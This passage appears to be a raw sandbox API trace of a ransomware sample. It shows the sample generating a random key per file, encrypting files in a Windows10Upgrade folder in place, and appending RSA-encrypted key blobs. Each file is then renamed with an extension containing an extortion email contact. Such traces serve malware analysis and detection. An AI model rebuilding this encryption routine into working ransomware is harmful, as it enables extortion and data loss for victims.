pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.815] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.816] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.816] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3zQrVZlSOSMJBs4DHJSxgTWqZwfFnaZQKQLvS+aGU+2X/Ji/NGqVYm7vL+2x2PDF\nQA1abm+ucOhS/fwOmyGt2BodhR9rSH9LN7vTK/yQ4CxSEviiTnvBelIgWfpp2c/t\nEksrmzSO63zpdARK9H1eFn5pPwTe/QyOsRiVpNOOje8DxZBUG/ZVQan9CoeE9npC\n6R0XNIcXRP7er1KONUxDcl/lkiD27FiO/m7DNMRmdOKOvJ+7ya8u6UUkJI0CUkFY\nONq02yzKCdNGGCN0+HS6PbLw8lo3xg3n8nb89D//Mne+z/8/UuH1p1OmwUoDFvHu\ncKCQUf0nbS7rdzjz0RMrlg==\n", pcchString=0x2e3f9a8) returned 1 [0149.816] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.816] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.816] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.816] CloseHandle (hObject=0x630) returned 1 [0149.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.816] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0149.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.818] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.818] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt", dwFileAttributes=0x80) returned 1 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.818] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.818] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=73135) returned 1 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11daf) returned 0x6518a0 [0149.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11daf) returned 0x2e40fd8 [0149.819] ReadFile (in: hFile=0x630, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x11daf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x11daf, lpOverlapped=0x0) returned 1 [0149.834] SetFilePointer (in: hFile=0x630, lDistanceToMove=-73135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.834] WriteFile (in: hFile=0x630, lpBuffer=0x2e40fd8*, nNumberOfBytesToWrite=0x11daf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11daf, lpOverlapped=0x0) returned 1 [0149.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0149.835] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11daf [0149.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.835] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cO77AcW7gNqUbhTTXOeGXoPUTmz32SG6iY4Vkg4CHmeGxrmgDC6fgFPMexxKHdOv\naBJoZ3GydQ0hvmOIKjfQaJITSzIFa06pWqJJ7IW7XbKtKYrS+7RpM7Y99xVxlRxx\nKWVloCegkwFKc44lt00JvUqapPK3u3ZkH+23UXh4EtXiLoBW1K9jr9Tq0HPVaNIZ\nccHyVFrn7oDZE867GG8iNAe4FyLP8cgWurGH4USk9325wVydtuMVWdgWaCKDLNYj\nh/gfQN1EcUE66e2qQXc84vPxoeFLzkNrpvbkSrqar6BXNtGcgww5FlbrWflkz6sY\nuaqNw+bRqVfPUPrL3B4wiw==\n", pcchString=0x2e3f9a8) returned 1 [0149.835] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.835] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.836] CloseHandle (hObject=0x630) returned 1 [0149.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.836] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0149.837] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0149.837] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.837] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.837] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml", dwFileAttributes=0x80) returned 1 [0149.837] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdf10 [0149.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0149.838] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdf10 | out: hHeap=0x570000) returned 1 [0149.838] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.838] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=93884) returned 1 [0149.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16ebc) returned 0x2e40fd8 [0149.838] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16ebc) returned 0x2e57ea0 [0149.838] ReadFile (in: hFile=0x630, lpBuffer=0x2e40fd8, nNumberOfBytesToRead=0x16ebc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesRead=0x2e3f9b4*=0x16ebc, lpOverlapped=0x0) returned 1 [0149.924] SetFilePointer (in: hFile=0x630, lDistanceToMove=-93884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.924] WriteFile (in: hFile=0x630, lpBuffer=0x2e57ea0*, nNumberOfBytesToWrite=0x16ebc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e57ea0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16ebc, lpOverlapped=0x0) returned 1 [0149.924] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0149.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e57ea0 | out: hHeap=0x570000) returned 1 [0149.925] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16ebc [0149.925] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.925] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.925] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.925] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="JSY+QKF7oH8VnOsqHQU9MeB7whC99Svp5KwzZXbKepefvx+0cObOYJzfEry0a637\nAq15nq2XoAoCTtytV9531m07Us+Sj3i1bu1VgtO7rWr3/aC5dslC2Hn1A7wEvGTf\npgjnz3+Qh/ddtxoWip16f4gHCDv8StTHRAcxYhacncE42fgSb2/NocfnOAugEVDz\n8JCF6b082pjiNFZcDC8VVxMrChHrx46mRvLmnvT05+UrseTwfo5bC+6fPj7u8fHn\nEOQvAyP7hIe2RnZmVPG6/4NcUJCkk5mWuO+971FRvCCoRldvgzL/gyk3y0+BTiIc\nREUFI+ixnfhW1ZaAcpI2Xw==\n", pcchString=0x2e3f9a8) returned 1 [0149.926] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.926] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.926] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.926] CloseHandle (hObject=0x630) returned 1 [0149.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.926] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\biosblocks.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0149.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0149.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0149.929] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\i386\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x156b04eb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630ac0 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630b80 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630b80 | out: hHeap=0x570000) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0149.930] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3a9fd3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b1515, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x156b04eb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] GetLastError () returned 0x0 [0149.930] SetLastError (dwErrCode=0x0) [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c00 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0149.931] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ab347, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ab347, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0149.931] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ac6e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ac6e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x4071, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] GetLastError () returned 0x0 [0149.931] SetLastError (dwErrCode=0x0) [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0149.931] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ada69, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ada69, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0149.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0149.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.931] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0149.932] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3aedef, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3aedef, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2684, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] GetLastError () returned 0x0 [0149.932] SetLastError (dwErrCode=0x0) [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0149.932] FindNextFileW (in: hFindFile=0x630ac0, lpFindFileData=0x2e3fb24 | out: 